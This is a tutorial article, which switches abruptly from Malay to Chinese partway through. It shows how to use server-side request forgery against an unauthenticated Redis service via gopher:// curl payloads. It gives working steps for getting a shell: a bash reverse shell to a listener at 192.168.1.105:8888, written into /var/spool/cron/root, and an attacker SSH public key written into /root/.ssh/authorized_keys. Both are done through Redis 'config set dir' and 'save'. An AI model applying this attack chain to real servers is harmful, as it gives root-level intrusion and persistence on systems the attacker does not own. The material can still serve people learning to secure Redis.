Rumah > Artikel > pangkalan data > Contoh analisis pemalsuan permintaan sebelah pelayan SSRF dalam Redis
SSRF, iaitu, pemalsuan permintaan sebelah pelayan. Pengguna boleh mengawal sumber, protokol, laluan, dsb. yang diminta oleh pelayan. Ini boleh menyebabkan serangan SSRF.
Artikel ini memfokuskan pada serangan SSRF pada perkhidmatan Redis melalui protokol gopher, dan kemudian getshell.
Mula-mula fahami apakah protokol gopher itu dan rupa formatnya:
gopher://
: _ diikuti oleh aliran data TCP
Apabila kami menguji serangan pada redis, kami boleh menggunakan curl yang disertakan dengan Linux untuk ujian.
Jika anda menggunakan Centos, untuk memastikan kejayaan percubaan, sebaiknya matikan selinux Centos.
Tutup selinux:
setenforce 0
Maya Hanya pasang Centos7.
pemasangan redis:
wget http://download.redis.io/releases/redis-4.0.6.tar.gz //Muat turun pakej termampat redis
yum install gcc //Gcc diperlukan semasa memasang make
tar -xzvf redis-4.0.6.tar.gz //Ekstrak pakej termampat cd redis-4.0.6 //Masukkan pakej termampat direktori
make MALLOC=libc //Compile
cd src //Selepas penyusunan selesai, folder src akan dihasilkan, masukkan folder src
make install // Pasang
operasi redis:
Dalam direktori redis-4.0.6 , redis.conf ialah fail konfigurasi redis awal
direktori redis-4.0.6/src , terdapat dua fail boleh laku yang paling penting:
redis-server -- server
redis -cli -- Pelanggan
menjalankan program pelayan secara langsung untuk memulakan perkhidmatan redis.
./redis-server
Jalankan program klien terus dan sambung ke perkhidmatan redis tempatan secara lalai:
./redis-cli
Mula-mula kita perlu menghidupkan perisian penangkapan paket untuk menangkap paket data yang berkomunikasi dengan redis.
Di Linux, anda boleh menggunakan tcpdump untuk menangkap trafik:
tcpdump -i lo -s 0 port 6379 -w redis.pcap
Jika anda ingin menangkap trafik antara muka tempatan, sila ambil perhatian bahawa ia adalah lo dan bukan eth0
Kami log masuk dahulu dan kemudian laksanakan Operasi kunci yang ditetapkan:
Eksport paket yang ditangkap oleh tcpdump, buka dengan wireshark dan jejak aliran TCP
Lihat sahaja data yang kami masukkan, bukan pelayan Dalam data yang dikembalikan, anda boleh melihat bahawa terdapat hanya beberapa baris:
Dalam "Paparkan dan simpan data sebagai " kedudukan, pilih Hex dump, dan anda akan mendapat data berikut:
Kotak merah ialah apa yang akan digunakan kemudianmuatan
Salin semua dan gunakan editorAlih keluar semua data yang tidak berkaitan kecuali kotak merah
Kemudian tambah tanda peratus sebelum setiap nilai perenambelasan dan selaraskannya dalam satu baris. Tersedia:
Bina permintaan curl:
curl -v 'gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%6b%65%79%31%0d%0a%24%36%0d%0a%76%61%6c%75%65%31%0d%0a' --output -
Respons:
Pertanyaan kunci:
Kunci boleh ditetapkan dengan jayanya.
Pertama konfigurasi redis untuk memerlukan kata laluan untuk log masuk:
Ubah suai fail konfigurasi di bawah redis redis. conf, cari kata kunci requirepass .
Secara lalai, requirepass diulas, padamkan simbol ulasan dan kemudian isikan yang anda mahu tetapkan untuk redis selepas requirepass Kata laluan
Selepas konfigurasi, arahan untuk memulakan redis ialah:
./redis-server redis配置文件路径
Percubaan untuk menyerang semula kata laluan:
Mula-mula, dayakan tangkapan paket tcpdump, dan kemudian lakukan operasi dalam baris arahan redis:
Tangkap trafik sekali lagi, sama seperti sebelum ini Selepas operasi, saya mendapati bahawa pengesahan kata laluan bermakna menambah arahan pengesahan tambahan:
重复上文的步骤即可。
接下来讲重点:通过 set key GetShell:
思路:
(1)将反弹shell命令写到定时任务里,攻击机只需要开一个netcat端口即可。
(2)写入ssh-keygen,进行ssh免密登录。
一个个细细道来。
基本要求:
redis需要是以 root 权限运行,不然写不到 /var/spool/cron/ 目录下
1.首先得知道 Linux 下的定时任务是个什么东西:
Linux下设置定时任务命令为 crontab
配置文件为 /etc/crontab
下面这张图是配置文件里的内容,很好的说明了 crontab 配置的格式
这个配置文件应该只是供参考用的,我们的定时任务需要自己手动写在 /var/spool/cron/ 目录下
如果我们要每分钟执行一次命令 echo1 > /tmp/1.txt
则可以这么操作:
vim /var/spool/cron/root //root是文件名,一般以执行的用户命名
在文件中写入
* * * * * root echo1 > /tmp/1.txt
保存退出后,重启 crontab 服务:
systemctl restart crond.service
即可每一分钟执行一次该命令
2.接着要知道linux下通过输入输出流反弹shell
命令:
/bin/bash -i >& /dev/tcp/192.168.1.105/8888 0>&1
直接看效果:
这里巧妙的结合了Linux中 文件描述符、重定向符和 /dev/
文件描述符 1 表示标准输入
文件描述符 2 表示标准输出
/bin/bash -i 表示的是调用bash命令的交互模式,并将交互模式重定向到 /dev/tcp/192.168.1.105/8888 中。
重定向时加入一个描述符 &,表示直接作为数据流输入。不加 & 时,重定向默认是输出到文件里的。
做个实例就清晰明了了
/dev/tcp/ip地址/端口号 是linux下的特殊文件,表示对这个地址端口进行tcp连接
这里我们设置成攻击机监听的地址
最后面的 0>&1 。此时攻击机和靶机已经建立好了连接,攻击机的输入就是从标准输入0传送至靶机
通过重定向符,重定向到 1(标准输入)中,由于是作为 /bin/bash 的标准输入,所以就执行了系统命令了。
3.还需要知道Redis如何写入文件
Redis 中可以导出当前数据库中的 key 和 value
并且可以通过命令配置导出路径和文件名:
config set dir /tmp/test //设置导出路径 config set dbfilename root //设置导出文件名 save //执行导出操作
可以看到,格式非常乱。不过还好linux中的cron不会报错,只要读到一行正确配置即可执行。
通过crontab定时任务 getshell
为了能让linux能够正确读到一行,我们在 set key 的时候手动添加 \n(换行)
redis语句:
config set dir /var/spool/cron config set dbfilename root set test1 "\n\n\n* * * * * /bin/bash -i >& /dev/tcp/192.168.1.105/8888 0>&1\n\n\n" save
转换成 gopher协议,进行curl请求:
成功写入:
成功getshell:
注意:这里有一个坑点。
cron文件不需要写用户名,不然会报错:
(2)ssh免密登录
在linux中,ssh可配置成免密登录。
需要修改 ssh 配置文件 /etc/ssh/sshd_config
将
#StrictModes yes
改为
StrictModes no
然后重启sshd即可
免密登录条件:
客户端生成公钥和私钥
将公钥上传至服务端 即可
在SSRF利用中,同样需要root权限运行 redis
如果不是root权限,需要能够 ssh 登录的用户权限运行 redis
正常免密登录流程:
1.客户端先生成公钥和私钥
使用工具 ssh-keygen:
ssh-keygen -t rsa
执行完毕后将会在 用户家目录中的 .ssh文件夹中放有公钥与私钥 文件
有.pub后缀的就是公钥,没有.pub后缀的就是私钥
2.上传公钥至服务器
将公钥上传至服务端的 /root/.ssh目录下
嫌麻烦可以用 ssh-copy-id工具
3.重命名文件为authorized_keys
文件名要重命名为 authorized_keys
authorized_keys 文件内容如下:
如果有多台客户端需要免密登录,新起一行,新行中写对应的客户端的公钥值即可
类似这样:
4.免密登录
传好后即可免密登录:
ssh免密登录 getshelll
我们知道了要写入的文件位置、要写入的内容(公钥事先生成好),我们可以构造redis语句了:
//先配置路径 config set dir /root/.ssh config set dbfilename authorized_keys //写入公钥 set test2 "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/unZTA0b1HtFsgjXlWM4Bt65Ubx72z/dkLJrqCJJpfsD+F27uix6J3GWuIKaHurabFR40eJ2EqWWs/FCKpBvnJ+msSWWyn9C8WyWY19HydE9ldIO8SjdoOfQ7pf0Q2dwMKSr6F3L8Dy04ULQsCwGEu8X0fdwCZIggagTwGXWZS/M89APJKSVn7v5jhgRy/dCSGwN5wwFakSQSbWtW396V/iP2svU7IAznqIX4tyZII/DX1751LqA0ufVzIoK1Sc9E87swjupDD4ZGxX6ks676JYQHdZSYHoQioM9kWVsB2ntBfBsIFHu+yX1V9tkTTB0E5eaWuitzzsi8xfAz0xBag3f8wiPvlbuLV/TwOXHABGt1HQNhg5wnfZYnebRNdn5QeDXNY1XtLjc3T9UTYe7FmT6hG+RvI+7OSywDIvaGq+PjAQN1KPOBFJtNG5iha3bYds05zR5LCM8ZzLRTcKP9Djo79fum8iOC8DjrxVp49RilDobr1/oZzn+91YJIq1M= root@kali\n\n\n" //保存 save
改成gopher协议格式:
查看 authorized_keys 文件:
成功免密登录:
Atas ialah kandungan terperinci Contoh analisis pemalsuan permintaan sebelah pelayan SSRF dalam Redis. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!